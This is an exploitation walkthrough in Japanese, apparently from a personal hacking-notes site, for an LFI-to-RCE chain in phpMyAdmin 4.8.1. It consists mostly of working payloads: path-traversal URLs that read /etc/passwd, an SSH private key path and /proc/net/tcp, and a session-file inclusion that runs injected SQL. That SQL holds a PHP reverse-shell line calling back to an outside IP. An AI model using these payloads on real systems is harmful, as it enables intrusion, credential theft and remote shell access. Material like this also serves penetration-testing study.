> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/cms/phpmyadmin-cms-exploitation/phpmyadmin-4.8.1-rce.md).

# phpMyAdmin - 4.8.1（RCE）

LFIからRCE、/proc/net/tcpの列挙、セッションファイルの悪用、SQLコマンドインジェクション、リバースシェルアクセスのためのphpMyAdmin 4.8.1攻略ノート。

**phpMyAdminのRCE脆弱性の特定**

phpMyAdmin 4.8.1が脆弱であると特定した後、SearchExploitを使って一致するエクスプロイトを見つけ、次を確認する [RCE](/ja/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-local-file-inclusion-to-remote-code-execution-lfi-to-rce.md) の道を進むにつれて非常に役立ちます。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-71a396a754375cebf29dfb9bee995a4d15e07c31%2Fimage%20(1957).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-34bc7e1500835d11a096ecac9504c4299b86a448%2Fimage%20(1959).png?alt=media" alt=""><figcaption></figcaption></figure>

## RCE脆弱性

URLに次のスクリプトを挿入してRCEの経路を悪用し、読み取る `/etc/passwd`:

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ce20ca78e10aff1175327c39d472da440c9effd0%2Fimage%20(1960).png?alt=media" alt=""><figcaption></figcaption></figure>

```url
index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a098e70b924433a9759aac56bcf44a02b42811bb%2Fimage%20(1961).png?alt=media" alt=""><figcaption></figcaption></figure>

**の取得を試みる `admin` ユーザーのSSH秘密鍵**

へのアクセスを試みる `admin` 次のURLでユーザーのSSH秘密鍵にアクセスしようとするが、エラーが返される：

```url
index.php?target=db_sql.php%253f/../../../../../../../../home/admin/.ssh/id_rsa
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d9df7c109ff867ce3abc33fb0532cf7ed2f08eb5%2Fimage%20(1962).png?alt=media" alt=""><figcaption></figcaption></figure>

**内部プライベートネットワークのポート列挙**

次のURLを使用して、内部サーバーポートを以下を通じて一覧表示する `/proc/net/tcp`:

```url
index.php?target=db_sql.php%253f/../../../../../../../../proc/net/tcp
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-be4a04645a23c20f2ae05836d840a52f0dadc4a8%2Fimage%20(1963).png?alt=media" alt=""><figcaption></figcaption></figure>

これらのポートを `data` 後で分析するためのファイル。

```bash
for port in $(cat data | awk '{print $2}' | awk '{print $2}' FS=":" | sort -u); do echo "[+] Port $port -> $((0x$port))"; done
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d8a9c3a555ca766a791c243b7f66620b27c76661%2Fimage%20(1964).png?alt=media" alt=""><figcaption></figcaption></figure>

**phpMyAdminセッションを含むディレクトリの特定**

スクリプトを確認して、phpMyAdminセッションを含むディレクトリを特定する：

```url
/index.php?target=db_sql.php%253f/../../../../../../../../var/lib/php/sessions/sess_{}
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ee5c3901b2b6dba66027fb22a8b61388b8de32bb%2Fimage%20(1965).png?alt=media" alt=""><figcaption></figcaption></figure>

## phpMyAdminのコマンドインジェクション

**phpMyAdminのセッションクッキーを使用したコマンドインジェクション**

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ffa41ed04abfdbb68904da98ffed239015a9fc85%2Fimage%20(1966).png?alt=media" alt=""><figcaption></figcaption></figure>

```url
index.php?target=db_sql.php%253f/../../../../../../../../var/lib/php/session/sess_38f8d56u6em5usl5fd9s9v3pe66qh7v1
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2cee3c4c7a5e09e80e53bfd59b92f144103b9948%2Fimage%20(1967).png?alt=media" alt=""><figcaption></figcaption></figure>

#### このファイルはクエリからのコマンドを解釈する。

```sql
SELECT 'testing';
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9a29cecfe882adf8921402c72068b89c8a342c5a%2Fimage%20(1969).png?alt=media" alt=""><figcaption></figcaption></figure>

**取得するためのSQLコマンドインジェクション** [**リバースシェル**](https://www.revshells.com/)**:**

```sql
select '<?php system("bash -i >& /dev/tcp/192.168.71.128/443 0>&1"); ?>';
```

**最終的にマシンへのアクセスに成功する：**

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-77907a18df3270f473bc855aa97bae4020c07a30%2Fimage%20(1970).png?alt=media" alt=""><figcaption></figcaption></figure>


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